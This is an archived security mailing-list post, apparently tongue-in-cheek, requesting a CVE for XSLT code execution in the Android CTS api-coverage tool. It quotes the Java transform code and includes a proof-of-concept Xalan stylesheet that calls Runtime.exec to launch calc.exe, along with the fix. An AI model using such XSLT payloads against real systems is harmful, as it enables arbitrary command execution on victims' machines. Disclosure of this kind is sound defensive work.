Date: Sun, 19 Oct 2014 19:28:33 +1000 From: Lord Tuskington <l.tuskington@...il.com> To: fulldisclosure@...lists.org, oss-security@...ts.openwall.com Subject: CVE request: remote code execution in Android CTS CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING option. See lines 60-67 of cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java: InputStream xsl = CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl"); StreamSource xslSource = new StreamSource(xsl); TransformerFactory factory = TransformerFactory.newInstance(); Transformer transformer = factory.newTransformer(xslSource); StreamSource xmlSource = new StreamSource(xmlIn); StreamResult result = new StreamResult(out); transformer.transform(xmlSource, result); An attacker who is able to control api-coverage.xsl could inject arbitrary code into it, which would be executed. For example: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:str="http://xml.apache.org/xalan/java/java.lang.String" > <xsl:output method="text"/> <xsl:template match="/"> <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable> <xsl:variable name="RT" select="rt:getRuntime()"/> <xsl:variable name="proc" select="rt:exec($RT, $Command)"/> <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/> </xsl:template> </xsl:stylesheet> Would pop a calc. This crosses a trust boundary because an attacker could provide an XSL stylesheet that, for example, has enhanced visual layout. A person consuming that stylesheet would assume it could not possibly contain arbitrary code that would be executed, as it's just a stylesheet. The XSL extensions to execute code should be disabled by passing FEATURE_SECURE_PROCESSING. Regards Lord Tuskington Chief Financial Pinniped TuskCorp
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.